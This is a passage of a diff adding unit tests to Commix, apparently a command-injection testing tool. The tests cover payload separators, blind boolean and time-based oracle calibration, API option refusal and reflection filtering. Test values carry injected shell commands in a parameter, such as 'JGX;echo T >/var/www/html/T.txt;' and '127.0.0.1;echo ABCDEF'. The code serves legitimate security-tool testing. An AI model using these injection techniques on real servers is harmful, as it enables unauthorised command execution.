of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import sys +import glob +import importlib + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +sys.argv = ["commix.py"] + +from src.utils import settings + +# Every separator a payload can be built on, and the ones awk reads between its own statements. +SEPARATORS = (";", "&", "&&", settings.END_LINE.LF) + +""" +Put the globals a tamper script reads into a known state, as a run reaches the exploitation phase +with a command of the user's own and one separator already proved. +""" +def stage(separator, command="echo Hello", target_os=None, rev=False, whitespace=None): + settings.TARGET_OS = target_os or settings.OS.UNIX + settings.WHITESPACES = [whitespace or settings.SINGLE_WHITESPACE] + settings.EXPLOITATION_PHASE = True + settings.TIME_RELATED_ATTACK = True + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + settings.USER_APPLIED_CMD = command + settings.CHECKING_PARAMETER = "P" + settings.CONFIRMED_BOUNDARY = {"P": ("", "", separator, settings.WHITESPACES[0])} + settings.TAMPER_SCRIPTS["rev"] = rev + payload = "AAA" + separator + command + separator + settings.RAW_PAYLOAD = payload + return payload + +""" +Every tamper script, by the name it is asked for, paired with its imported module. +""" +def tamper_modules(): + modules = {} + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for script in sorted(glob.glob(os.path.join(root, "src", "tamper", "**", "*.py"), recursive=True)): + name = os.path.basename(script)[:-len(".py")] + if name == "__init__": + continue + relative = os.path.relpath(script, root)[:-len(".py")].replace(os.sep, ".") + try: + modules[name] = importlib.import_module(relative) + except Exception: + continue + return modules + +""" +The separators a string carries, counted so that '&&' is not read as two '&'. +""" +def separators_in(text): + counts, rest = {}, text + for separator in ("&&", "||"): + counts[separator] = rest.count(separator) + rest = rest.replace(separator, "") + for separator in (";", "&", "|"): + counts[separator] = rest.count(separator) + return counts diff --git a/tests/test_api.py b/tests/test_api.py new file mode 100644 index 0000000000..da07dfa46a --- /dev/null +++ b/tests/test_api.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import shutil +import socket +import tempfile +import unittest + +from tests._testutils import stage +from src.utils import api +from src.core.parse import cmdline as menu + +""" +Fail closed: the option logic is settled before anything is served, so a test of it that reaches for +the network is a broken test rather than a slow one. +""" +def _no_transport(*args, **kwargs): + raise RuntimeError("The API's option handling is exercised offline; no transport may be opened.") + +class _Offline(unittest.TestCase): + def setUp(self): + self.saved = (socket.socket, socket.create_connection) + socket.socket, socket.create_connection = _no_transport, _no_transport + self.directory = tempfile.mkdtemp(prefix="commix-api-") + self.task = api.Task("0123456789abcdef", self.directory) + + def tearDown(self): + socket.socket, socket.create_connection = self.saved + shutil.rmtree(self.directory, ignore_errors=True) + +class OptionNames(unittest.TestCase): + """ + Every spelling the command line takes answers to the same option, since the API is asked in + whichever of them the caller happens to know. + """ + def test_an_option_answers_to_its_store_and_to_its_flags(self): + for spelling in ("url", "--url", "-u"): + self.assertIsNotNone(api._option(spelling.lstrip("-")), spelling + " names no option") + self.assertEqual(api._option("url").dest, api._option("u").dest) + + def test_a_name_the_parser_does_not_know_names_nothing(self): + self.assertIsNone(api._option("not_an_option_of_any_kind")) + +class RefusedOptions(_Offline): + """ + The options a task may not be given. Three of these lists exist for different reasons, and the + first is the one that matters most: every option on it would act on the host serving the API + rather than on the target, so a task that could set one would be remote code execution wearing + the API's own clothes. + """ + def test_an_option_that_would_act_on_the_api_host_is_refused(self): + for name in sorted(api.REFUSED_OPTIONS): + refusal = self.task.set_option(name, "whatever") + self.assertIsNotNone(refusal, "'" + name + "' was accepted over the API") + self.assertIn("cannot be set over the API", refusal) + self.assertNotIn(name, [k for k, v in self.task.options.items() if v == "whatever"]) + + def test_an_option_the_server_settles_itself_is_refused(self): + for name in api.SERVER_OWNED_OPTIONS: + refusal = self.task.set_option(name, "whatever") + self.assertIsNotNone(refusal, "'" + name + "' was accepted over the API") + self.assertIn("settled by the server", refusal) + + def test_an_option_a_run_is_never_given_is_refused(self): + # Named rather than swept: the point is that the list is not empty and is actually consulted. + self.assertTrue(api.UNCARRIED_OPTIONS, "no option is listed as uncarried") + for name in api.UNCARRIED_OPTIONS: + if api._option(name) is None: + continue + self.assertIsNotNone(self.task.set_option(name, "whatever"), "'" + name + "' was accepted") + + def test_an_unknown_option_is_refused_by_name(self): + refusal = self.task.set_option("--not-an-option", "x") + self.assertIsNotNone(refusal) + self.assertIn("not-an-option", refusal) + +class AcceptedOptions(_Offline): + """ + What the API does take, and what it does with it. + """ + def test_an_ordinary_option_is_kept_where_the_run_reads_it(self): + self.assertIsNone(self.task.set_option("url", "http://target.invalid/x?a=1")) + self.assertEqual("http://target.invalid/x?a=1", self.task.options["url"]) + + def test_an_option_is_taken_by_its_flag_as_well_as_its_name(self): + self.assertIsNone(self.task.set_option("--level", "3")) + self.assertEqual(3, self.task.options["level"]) + + def test_a_value_the_parser_would_not_take_is_refused_here(self): + refusal = self.task.set_option("level", "three") + self.assertIsNotNone(refusal, "a non-numeric level was accepted") + self.assertIn("The option", refusal) + +class QueryReading(unittest.TestCase): + """ + What the handler reads off a request, settled without one being made. + """ + def test_a_value_is_read_as_what_it_is_written_as(self): + self.assertIs(True, api._typed("true")) + self.assertIs(False, api._typed("FALSE")) + self.assertEqual(3, api._typed("3")) + self.assertEqual("3.1", api._typed("3.1")) + self.assertEqual("ancst", api._typed("ancst")) + + def test_bounds_are_read_where_given_and_left_alone_where_not(self): + self.assertEqual((2, 9), api._bounds({"start": ["2"], "end": ["9"]})) + self.assertEqual((None, None), api._bounds({})) + self.assertEqual((None, None), api._bounds({"start": ["x"], "end": []})) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_checks.py b/tests/test_checks.py new file mode 100644 index 0000000000..002b1427f1 --- /dev/null +++ b/tests/test_checks.py @@ -0,0 +1,1540 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import io +import re +import threading +import unittest + +from tests._testutils import stage +from src.utils import settings +from src.core.controller import checks +from src.core.parse import cmdline as menu + +class WhatTheOutputHasAlreadyTurnedOutToBeMadeOf(unittest.TestCase): + """ + A byte bisected out of the whole pool every time pays no attention to the ones already read, so + the last character of an output costs what the first one did. Halving the set seen so far instead + is a question or two rather than seven - but it is paid for at every position and collected only + where a byte repeats, so an output of mostly distinct bytes is answered more slowly for being + asked the clever way, and is left alone. + """ + def _seen(self, text): + seen = checks.new_observed_characters() + for char in text: + checks.record_observed_character(seen, ord(char)) + return seen + + def test_nothing_is_generalised_from_too_few_bytes(self): + self.assertIsNone(checks.narrowed_characters(self._seen("ab"))) + + def test_an_output_whose_bytes_repeat_is_worth_halving(self): + narrowed = checks.narrowed_characters(self._seen("aaaabbbb")) + self.assertEqual([ord("a"), ord("b")], narrowed) + + def test_an_output_of_mostly_distinct_bytes_is_left_to_the_pool(self): + # '/usr/local/bin' - eleven distinct bytes in fourteen, which the halving below cannot beat. + self.assertIsNone(checks.narrowed_characters(self._seen("/usr/local/bin"))) + + def test_a_set_wider_than_the_pool_is_worth_nothing(self): + wide = "".join(chr(code) for code in range(32, 32 + settings.NARROWING_MAX_SET_SIZE + 1)) + self.assertIsNone(checks.narrowed_characters(self._seen(wide * settings.NARROWING_MIN_REPEAT_RATIO))) + + def test_a_position_that_resolved_to_nothing_is_not_a_byte(self): + seen = self._seen("aaaabbbb") + before = checks.narrowed_characters(seen) + checks.record_observed_character(seen, None) + self.assertEqual(before, checks.narrowed_characters(seen)) + +class CurrentBoundary(unittest.TestCase): + """ + What a rewrite reads back about the boundary the parameter at hand was proved on. + """ + def test_whitespace_falls_back_to_a_plain_space(self): + settings.WHITESPACES = [] + self.assertEqual(settings.SINGLE_WHITESPACE, checks.current_whitespace()) + settings.WHITESPACES = ["\t"] + self.assertEqual("\t", checks.current_whitespace()) + + def test_separator_is_none_until_a_boundary_is_recorded(self): + settings.CONFIRMED_BOUNDARY = {} + settings.CHECKING_PARAMETER = "P" + self.assertIsNone(checks.current_separator()) + + def test_separator_comes_back_from_the_recorded_boundary(self): + for separator in (";", "&", "&&", "|", settings.END_LINE.LF): + stage(separator) + self.assertEqual(separator, checks.current_separator()) + + def test_a_parameter_does_not_read_another_ones_boundary(self): + stage(";") + settings.CHECKING_PARAMETER = "OTHER" + self.assertIsNone(checks.current_separator()) + +class AwkProgram(unittest.TestCase): + """ + The program handed to awk, whose own statements are separated by the one under test. + """ + def test_only_a_statement_separator_awk_reads_is_usable(self): + self.assertTrue(checks.awk_separator_usable(";")) + self.assertTrue(checks.awk_separator_usable(settings.END_LINE.LF)) + for separator in ("&", "&&", "|", "", None): + self.assertFalse(checks.awk_separator_usable(separator), repr(separator) + " was taken as usable") + + def test_the_program_carries_nothing_but_its_own_separator(self): + for separator in (";", settings.END_LINE.LF): + program = checks.awk_reverse_program(separator) + for smuggled in ("|", "&"): + self.assertNotIn(smuggled, program) + if separator != ";": + self.assertNotIn(";", program) + + def test_the_program_has_no_space_inside_its_quotes(self): + # A space there is the whitespace substitution's to replace, which awk would then read as text. + for separator in (";", settings.END_LINE.LF): + for fold in (False, True): + program = checks.awk_reverse_program(separator, fold=fold) + self.assertNotIn(settings.SINGLE_WHITESPACE, program.strip("'")) + + def test_the_fold_is_asked_for_explicitly(self): + self.assertIn("tolower", checks.awk_reverse_program(";", fold=True)) + self.assertNotIn("tolower", checks.awk_reverse_program(";")) + +class SmallDecisions(unittest.TestCase): + """ + Helpers a run leans on in passing. None of them reaches the network, and each one decides + something a later line reads back as fact. + """ + def test_a_port_is_a_number_inside_the_range(self): + for port in ("1", "80", "8080", "65535"): + self.assertTrue(checks._validate_port(port), port) + for port in ("0", "65536", "-1", "", "abc", "80.5"): + self.assertFalse(checks._validate_port(port), port) + + def test_a_uid_is_classified_by_the_range_it_falls_in(self): + self.assertEqual("root user", checks.classify_uid("0")) + for uid in ("1", "98"): + self.assertEqual("system user", checks.classify_uid(uid), uid) + for uid in ("100", "500", "1000"): + self.assertEqual("regular user", checks.classify_uid(uid), uid) + for uid in ("99", "60001", "65534"): + self.assertEqual("anonymous user", checks.classify_uid(uid), uid) + self.assertEqual("non-trusted user", checks.classify_uid("60002")) + + def test_a_uid_past_the_last_range_is_not_classified(self): + self.assertEqual("", checks.classify_uid("65535")) + + def test_a_uid_that_is_not_a_number_is_refused(self): + # Read off the target's own output, so it is not trusted to be a number. + self.assertRaises(ValueError, checks.classify_uid, "nobody") + + def test_a_command_is_wrapped_so_its_output_comes_back(self): + was = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX) + try: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + wrapped = checks.add_command_substitution("id") + self.assertIn("id", wrapped) + self.assertIn(settings.CMD_SUB_PREFIX, wrapped) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = was + +class TamperDependencies(unittest.TestCase): + """ + Why a script cannot be applied to the target at hand, or nothing where it can. + """ + def test_a_shell_gate_answers_for_the_settled_operating_system(self): + settings.TARGET_OS = settings.OS.UNIX + self.assertIsNone(checks.tamper_dep_unix_only("x")) + self.assertIsNotNone(checks.tamper_dep_windows_only("x")) + settings.TARGET_OS = settings.OS.WINDOWS + self.assertIsNotNone(checks.tamper_dep_unix_only("x")) + self.assertIsNone(checks.tamper_dep_windows_only("x")) + + def test_a_sink_gate_reads_the_heuristic_as_well_as_the_switch(self): + eval_sink, eval_state = menu.options.eval_sink, settings.EVAL_BASED_STATE + try: + menu.options.eval_sink, settings.EVAL_BASED_STATE = None, False + self.assertIsNotNone(checks.tamper_dep_command_incompatible("x")) + self.assertIsNone(checks.tamper_dep_eval_incompatible("x")) + # The heuristic probe carries eval syntax before '--eval' is ever set. + menu.options.eval_sink, settings.EVAL_BASED_STATE = None, True + self.assertIsNone(checks.tamper_dep_command_incompatible("x")) + self.assertIsNotNone(checks.tamper_dep_eval_incompatible("x")) + finally: + menu.options.eval_sink, settings.EVAL_BASED_STATE = eval_sink, eval_state + +class BooleanOracleNoise(unittest.TestCase): + """ + What the page moves on its own, weighed against what the question answered. + """ + def setUp(self): + self.markings = settings.DYNAMIC_MARKINGS + settings.DYNAMIC_MARKINGS = [] + + def tearDown(self): + settings.DYNAMIC_MARKINGS = self.markings + + # The same page, twice, with only the command's own timing moving between them. + def page(self, timing): + return ("<html><body><p>the command was asked and answered here</p>" + "<b>rtt min/avg/max/mdev = " + timing + " ms</b>" + "<p>and the rest of this page stands perfectly still</p></body></html>") + + def test_two_answers_that_read_alike_are_not_an_answer(self): + # Nothing told them apart, so there is no question this boundary answered. + page = self.page("0.015/0.048/0.073/0.022") + self.assertFalse(checks.calibrate_boolean_oracle(page, page)) + + def test_a_shell_error_quoting_this_runs_own_digits_is_not_an_answer(self): + """ + A filter that corrupts the payload before a shell sees it leaves the marker's own length sitting + in the error the shell quotes it back in, which tells two pages apart without either command + having run. + """ + error = "sh: 1: AAAAAA%s: not found" + self.assertFalse(checks.calibrate_boolean_oracle(error % "123456", error % "1234567")) + + def test_a_difference_that_moves_on_its_own_is_not_an_answer(self): + """ + Two answers that are meant to differ, differing only where two answers that are meant to match + already did. Taken for an answer, a boundary is confirmed on the strength of a timing. + """ + true_page, false_page = self.page("0.015/0.048/0.073/0.022"), self.page("0.042/0.058/0.065/0.009") + # Nothing learned about the page yet, so the timing reads as the two answers differing. + self.assertTrue(checks.calibrate_boolean_oracle(true_page, false_page)) + # The same question asked twice is what says which part of it was never an answer. + checks.find_dynamic_content(true_page, self.page("0.031/0.052/0.061/0.011")) + self.assertTrue(settings.DYNAMIC_MARKINGS) + self.assertFalse(checks.calibrate_boolean_oracle(true_page, false_page)) + +class ReAskedTechniques(unittest.TestCase): + """ + Which findings are asked their question a second time before the parameter is reported. + """ + def test_a_finding_weighed_as_a_page_is_re_asked(self): + """ + The tempfile-based technique reads its tag back with a command of its own and weighs the answer + as a page - the file is written where the web root could not be reached, so there is no URL to + fetch it through. That is the same kind of evidence the other two rest on, and a page that moves + on its own produces it without the command having run, so it is not exempt from the re-ask. + """ + for technique in (settings.INJECTION_TECHNIQUE.BOOLEAN_BASED, + settings.INJECTION_TECHNIQUE.TIME_BASED, + settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): + self.assertIn(technique, checks._INFERRED_TECHNIQUES) + + def test_a_finding_that_came_back_on_its_own_is_not(self): + # A tag fetched out of the web root, or a hostname only this run knows being resolved, is not + # something a target produces without having run the command. + for technique in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, + settings.INJECTION_TECHNIQUE.FILE_BASED, + settings.INJECTION_TECHNIQUE.OOB): + self.assertNotIn(technique, checks._INFERRED_TECHNIQUES) + +class Lagging(unittest.TestCase): + """ + When a target's answers are called unsteady enough to raise the delay asked of it. + """ + def tearDown(self): + settings.RESPONSE_TIMES[:] = [] + settings.LAGGING_CHECKED = settings.LAGGING_DETECTED = False + settings.JITTER_SEEN = settings.ADJUST_TIME_DELAY_DISABLED = False + + def verdict(self, pace, spread): + settings.RESPONSE_TIMES[:] = [pace - spread, pace + spread] * 8 + settings.LAGGING_CHECKED = settings.LAGGING_DETECTED = False + return checks.check_lagging() + + def test_a_slow_target_that_keeps_its_pace_is_not_lagging(self): + """ + A sink that runs a command before answering moves by half a second on nothing more than being + itself. Called laggy for it, the run raises the delay and every probe after pays the wait. + """ + self.assertFalse(self.verdict(3.1, 0.5)) + self.assertFalse(self.verdict(10.0, 1.5)) + + def test_a_slow_steady_target_is_not_offered_up_for_skipping(self): + """ + The same question the time-based and tempfile-based handlers put before offering to skip the + technique: a target that answers at the same speed every time is read as easily as a fast one, + however long that speed is. + """ + settings.RESPONSE_TIMES[:] = [10.0 - 1.5, 10.0 + 1.5] * 8 + self.assertFalse(checks.response_times_unsteady()) + settings.RESPONSE_TIMES[:] = [3.1 - 0.5, 3.1 + 0.5] * 8 + self.assertFalse(checks.response_times_unsteady()) + + def test_answers_that_really_do_move_are_offered_up(self): + settings.RESPONSE_TIMES[:] = [10.0 - 4.0, 10.0 + 4.0] * 8 + self.assertTrue(checks.response_times_unsteady()) + settings.RESPONSE_TIMES[:] = [0.8 - 0.6, 0.8 + 0.6] * 8 + self.assertTrue(checks.response_times_unsteady()) + + def test_answers_that_move_against_their_own_pace_still_are(self): + # Read in seconds of its own as well, so a page answering at once is not called steady for + # moving by less than a slow one does. + self.assertTrue(self.verdict(3.1, 1.2)) + self.assertTrue(self.verdict(0.1, 0.6)) + +class ProbeModel(unittest.TestCase): + """ + Which timings are believed to be what a probe costs. + """ + def setUp(self): + self.disable_stats = menu.options.disable_stats + menu.options.disable_stats = False + # A sink that runs a command before answering, behind a filter that rejects the payload at once. + settings.RESPONSE_TIMES[:] = [3.10, 3.12, 3.11, 3.13, 3.10, 3.12, 3.11, 3.12] + settings.PROBE_RESPONSE_TIMES[:] = [] + + def tearDown(self): + menu.options.disable_stats = self.disable_stats + settings.RESPONSE_TIMES[:] = [] + settings.PROBE_RESPONSE_TIMES[:] = [] + + def test_an_answer_the_payload_never_reached_the_sink_for_is_not_a_probe(self): + """ + A model built on what a refusal costs reads an ordinary answer as a delay, which raises the + delay asked for and makes every probe after it wait longer for nothing. + """ + for _ in range(13): + checks.record_probe_response_time(0.01) + self.assertEqual([], settings.PROBE_RESPONSE_TIMES) + self.assertFalse(checks.time_related_shell(3.13, 10)) + self.assertTrue(checks.time_related_shell(13.1, 10)) + + def test_a_probe_that_did_reach_it_still_counts(self): + for exec_time in (3.15, 3.18, 3.14, 3.16, 3.17): + checks.record_probe_response_time(exec_time) + self.assertEqual(5, len(settings.PROBE_RESPONSE_TIMES)) + +class CarriedEncoding(unittest.TestCase): + """ + How a value written in an encoding is read back off the request it rode in. + """ + def test_padding_is_read_as_padding_however_the_url_spells_it(self): + """ + A query string writes '=' as '%3D', so a descriptor worked out from the raw spelling reads a + padded value as carrying no padding - and writing it back out then drops the padding, leaving + the value not matching what arrived, so a parameter that carries base64 is refused for not. + """ + for value in ("Z3Vlc3Q=", "YWJj", "YQ=="): + described = checks.encoding_from_name("base64", value) + self.assertEqual(value, checks.apply_encoding(checks.strip_encoding(value, described), described), + "the value " + repr(value) + " did not survive being read and written back") + +class DigitValues(unittest.TestCase): + """ + Which values are read as a number, since that is what decides the boundaries tried first. + """ + def test_only_the_digits_a_shell_would_read_as_one(self): + """ + 'str.isdigit()' answers for every character Unicode calls a digit - a superscript two among + them - so a value no shell would take for a number was read as one, and the boundaries a quoted + value needs were ordered last on the strength of it. + """ + for value in ("0", "4", "0042", "123456"): + self.assertTrue(checks.is_digit(value), value + " is written out of digits") + for value in (u"\xb2", u"\u0660", "3b3", "127.0.0.1", "-5", "1.5", "", " 4"): + self.assertFalse(checks.is_digit(value), repr(value) + " is not") + +class SinkBoundaries(unittest.TestCase): + """ + Which boundaries are worth asking of the shell in hand. + """ + def setUp(self): + self.target_os = settings.TARGET_OS + self.eval_sink = menu.options.eval_sink + menu.options.eval_sink = None + settings.apply_injection_level(settings.HTTP_HEADER_INJECTION_LEVEL) + + def tearDown(self): + settings.TARGET_OS = self.target_os + menu.options.eval_sink = self.eval_sink + settings.apply_injection_level(settings.DEFAULT_INJECTION_LEVEL) + + def commented(self): + _, suffixes, _ = checks.sink_boundaries() + return [candidate for candidate in suffixes if candidate.strip() == settings.COMMENT] + + def test_a_shell_with_a_comment_is_offered_one(self): + settings.TARGET_OS = settings.OS.UNIX + self.assertTrue(self.commented()) + + def test_a_shell_without_one_is_not(self): + """ + 'cmd.exe' has no comment a trailing marker can use, so a POSIX '#' asked of it is a boundary it + cannot honour - sent once per separator, on every parameter tested. + """ + settings.TARGET_OS = settings.OS.WINDOWS + self.assertEqual([], self.commented()) + +class DelayThreshold(unittest.TestCase): + """ + How late an answer has to be before it counts as a delay that was asked for. + """ + def setUp(self): + self.disable_stats = menu.options.disable_stats + menu.options.disable_stats = False + settings.PROBE_RESPONSE_TIMES[:] = [] + + def tearDown(self): + menu.options.disable_stats = self.disable_stats + settings.RESPONSE_TIMES[:] = [] + settings.PROBE_RESPONSE_TIMES[:] = [] + + # A steady target around the given pace, varying by a hundredth of a second either way. + def steady_at(self, mean): + settings.RESPONSE_TIMES[:] = [mean + (0.01 if index % 2 else -0.01) for index in range(8)] + + def test_a_delay_that_fires_is_seen_however_slow_the_target_is(self): + for mean in (3.0, 6.0, 11.0, 20.0, 40.0): + self.steady_at(mean) + timesec = 5 + self.assertTrue(checks.time_related_shell(mean + timesec, timesec), + "a delay of " + str(timesec) + "s was missed on a target answering in " + str(mean) + "s") + + def test_an_ordinary_answer_is_not_read_as_a_delay(self): + for mean in (3.0, 6.0, 11.0, 20.0, 40.0): + self.steady_at(mean) + self.assertFalse(checks.time_related_shell(mean, 5), + "a plain answer of " + str(mean) + "s was read as delayed") + + def test_the_margin_is_not_raised_past_the_delay_being_asked_for(self): + self.steady_at(20.0) + # Half of the delay asked for, where half the target's own pace would stand well above it. + self.assertAlmostEqual(22.5, checks.current_delay_threshold(5), places=2) + # Nothing to measure it against leaves the margin read off the target alone. + self.assertAlmostEqual(30.0, checks.current_delay_threshold(), places=2) + + +class SkippedValueIsAccountedFor(unittest.TestCase): + """ + What the summary says where the parameter's own value was dropped from later requests. + """ + def setUp(self): + self._flag = settings.TESTABLE_VALUE_OPTIMIZED + self._value = settings.TESTABLE_VALUE + self._points = settings.CONFIRMED_INJECTION_POINTS + self._verbosity = settings.VERBOSITY_LEVEL + self._out = settings.print_data_to_stdout + self.printed = [] + settings.print_data_to_stdout = lambda line: self.printed.append(line) + settings.VERBOSITY_LEVEL = 1 + + def tearDown(self): + settings.TESTABLE_VALUE_OPTIMIZED = self._flag + settings.TESTABLE_VALUE = self._value + settings.CONFIRMED_INJECTION_POINTS = self._points + settings.VERBOSITY_LEVEL = self._verbosity + settings.print_data_to_stdout = self._out + + def summarise(self, optimized, value): + settings.TESTABLE_VALUE_OPTIMIZED = optimized + settings.TESTABLE_VALUE = value + settings.CONFIRMED_INJECTION_POINTS = [ + ("File-based", "Blind command injection", "addr", "JGX;echo T >/var/www/html/T.txt;", "GET", 63) + ] + original = checks.target_fingerprint_summary + checks.target_fingerprint_summary = lambda: None + try: + checks.confirmed_injection_points_summary() + finally: + checks.target_fingerprint_summary = original + return "\n".join(str(line) for line in self.printed) + + def test_the_stand_in_value_is_named(self): + output = self.summarise(True, "JGX") + self.assertIn("was not required", output) + self.assertIn("'JGX'", output) + + def test_nothing_is_said_where_the_real_value_was_used(self): + self.assertNotIn("was not required", self.summarise(False, "127.0.0.1")) + + def test_nothing_is_said_where_there_is_no_value_to_name(self): + self.assertNotIn("was not required", self.summarise(True, "")) + + def test_it_is_kept_for_a_reader_following_the_run(self): + # About how the run went rather than about the target, so a default run does not carry it. + settings.VERBOSITY_LEVEL = 0 + self.assertNotIn("was not required", self.summarise(True, "JGX")) + +class PagesComparedByTitleAlone(unittest.TestCase): + """ + What '--titles' compares, where everything around the title moves by itself. + """ + def setUp(self): + self._titles, self._text_only = menu.options.titles, menu.options.text_only + menu.options.titles, menu.options.text_only = True, False + + def tearDown(self): + menu.options.titles, menu.options.text_only = self._titles, self._text_only + + def test_the_title_is_what_is_left(self): + page = "<html><head><title> Results for 1 counter 4821" + self.assertEqual("Results for 1", checks.comparable_page(page)) + + def test_the_tag_is_found_whatever_its_case(self): + self.assertEqual("No results", checks.page_title("No results")) + + def test_a_page_with_no_title_compares_as_nothing(self): + self.assertEqual("", checks.comparable_page("no title here")) + + def test_two_pages_differing_only_below_the_title_read_as_one(self): + a = "Samecounter 1" + b = "Samecounter 9999" + self.assertEqual(checks.comparable_page(a), checks.comparable_page(b)) + + def test_two_pages_differing_in_the_title_do_not(self): + a = "Foundx" + b = "Nothingx" + self.assertNotEqual(checks.comparable_page(a), checks.comparable_page(b)) + +class NullConnectionIsNotAskedWhatItCannotSee(unittest.TestCase): + """ + A length read off a header cannot answer a question about the body it did not fetch. + """ + OPTIONS = ("string", "not_string", "regexp", "text_only", "titles") + + def setUp(self): + from src.core import options as commix_options + self.commix_options = commix_options + self._saved = dict((name, getattr(menu.options, name)) for name in self.OPTIONS) + self._null = menu.options.null_connection + self._out = settings.print_data_to_stdout + self.printed = [] + settings.print_data_to_stdout = lambda line: self.printed.append(str(line)) + + def tearDown(self): + for name, value in self._saved.items(): + setattr(menu.options, name, value) + menu.options.null_connection = self._null + settings.print_data_to_stdout = self._out + + def test_the_oracle_cannot_answer_a_body_question_without_a_body(self): + # Why the guard exists: every answer is the same answer, whichever way it is fixed. + settings.BOOLEAN_TRUE_LENGTH, settings.BOOLEAN_FALSE_LENGTH = 1000, 900 + for name in ("string", "not_string", "regexp"): + for other in ("string", "not_string", "regexp", "code"): + setattr(menu.options, other, None) + setattr(menu.options, name, "root" if name != "regexp" else "ro+t") + answers = set(checks.boolean_oracle(None, 200, page_length=_) for _ in (1000, 900, 950)) + self.assertEqual(1, len(answers), name + " gave more than one answer without a body") + +class ValueSkippedOnlyOnEvidence(unittest.TestCase): + """ + Dropping the parameter's own value is an optimisation, so it is taken only where the sink answered + without it - and put back wherever it was taken and nothing was confirmed. + """ + def setUp(self): + from src.core.controller import controller + self.controller = controller + self._state = (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_OPTIMIZED, + settings.VALUE_SKIPPED_EARLY, settings.VALUE_SKIP_REFUSED, menu.options.data) + self._request = controller.heuristic_request + self._out = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda *a, **k: None + settings.TESTABLE_VALUE = "127.0.0.1" + settings.TESTABLE_VALUE_OPTIMIZED = False + settings.VALUE_SKIPPED_EARLY = None + settings.VALUE_SKIP_REFUSED = False + menu.options.data = None + + def tearDown(self): + (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_OPTIMIZED, settings.VALUE_SKIPPED_EARLY, + settings.VALUE_SKIP_REFUSED, menu.options.data) = self._state + self.controller.heuristic_request = self._request + settings.print_data_to_stdout = self._out + + def answer(self, with_marker): + class _Response(object): + def read(self): + return b"" + def _request(url, http_request_method, check_parameter, payload, whitespace, place): + return (_Response() if with_marker else False), url + self.controller.heuristic_request = _request + original = checks.process_page_content + checks.process_page_content = lambda response, action=None: "ok" if not with_marker else "uid=0(root) gid=0(root)" + try: + return self.controller.probe_skip_testable_value_early( + "http://t/a.php?addr=127.0.0.1" + settings.INJECT_TAG, "GET", "addr", ";echo X", " ", None) + finally: + checks.process_page_content = original + + def test_a_sink_that_answered_without_it_has_it_dropped(self): + url = self.answer(with_marker=True) + self.assertTrue(settings.TESTABLE_VALUE_OPTIMIZED) + self.assertNotIn("127.0.0.1", url) + self.assertIsNotNone(settings.VALUE_SKIPPED_EARLY) + + def test_a_sink_that_did_not_answer_keeps_it(self): + url = self.answer(with_marker=False) + self.assertFalse(settings.TESTABLE_VALUE_OPTIMIZED) + self.assertEqual("127.0.0.1", settings.TESTABLE_VALUE) + self.assertIn("127.0.0.1", url) + self.assertIsNone(settings.VALUE_SKIPPED_EARLY) + + def test_what_is_put_aside_restores_the_request_as_it_read(self): + self.answer(with_marker=True) + original_value, placeholder, original_url, original_data = settings.VALUE_SKIPPED_EARLY + self.assertEqual("127.0.0.1", original_value) + self.assertIn("127.0.0.1", original_url) + self.assertEqual(3, len(placeholder)) + + def test_it_is_not_dropped_a_second_time_once_refused(self): + settings.VALUE_SKIP_REFUSED = True + url = self.answer(with_marker=True) + self.assertFalse(settings.TESTABLE_VALUE_OPTIMIZED) + self.assertIn("127.0.0.1", url) + +class EscapesInAnOptionValue(unittest.TestCase): + """ + A value given as an escape, where the shell would have eaten the character itself. + """ + def test_a_whitespace_escape_becomes_the_character(self): + self.assertEqual("\n", checks.decode_string_escape("\\n")) + self.assertEqual("\t", checks.decode_string_escape("\\t")) + self.assertEqual("\r", checks.decode_string_escape("\\r")) + + def test_it_is_decoded_in_place(self): + self.assertEqual("a\tb", checks.decode_string_escape("a\\tb")) + + def test_an_escaped_backslash_shields_what_follows(self): + # Two passes would read this as a newline; one pass leaves the text it stands for. + self.assertEqual("\\n", checks.decode_string_escape("\\\\n")) + + def test_a_value_with_no_escape_is_handed_back_as_it_is(self): + for value in ("&", ";", "plain", "", None): + self.assertEqual(value, checks.decode_string_escape(value)) + + def test_a_non_ascii_byte_is_not_an_escape(self): + self.assertEqual("\u00a7", checks.decode_string_escape("\u00a7")) + +class ReflectionsTheTargetRewrote(unittest.TestCase): + """ + Taking the payload back out of a page that did not hand it back verbatim. + """ + PAYLOAD = "127.0.0.1;echo ABCDEF" + + def setUp(self): + self._found = settings.REFLECTIVE_VALUE_FOUND + self._out = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda *a, **k: None + + def tearDown(self): + settings.REFLECTIVE_VALUE_FOUND = self._found + settings.print_data_to_stdout = self._out + + def filtered(self, page, payload=None): + settings.REFLECTIVE_VALUE_FOUND = False + return checks.remove_reflected_values(page, payload or self.PAYLOAD) + + def test_the_payload_as_it_went_out(self): + self.assertIn(settings.REFLECTED_VALUE_MARKER, self.filtered("a 127.0.0.1;echo ABCDEF z")) + + def test_a_space_that_came_back_as_a_plus(self): + self.assertIn(settings.REFLECTED_VALUE_MARKER, self.filtered("a 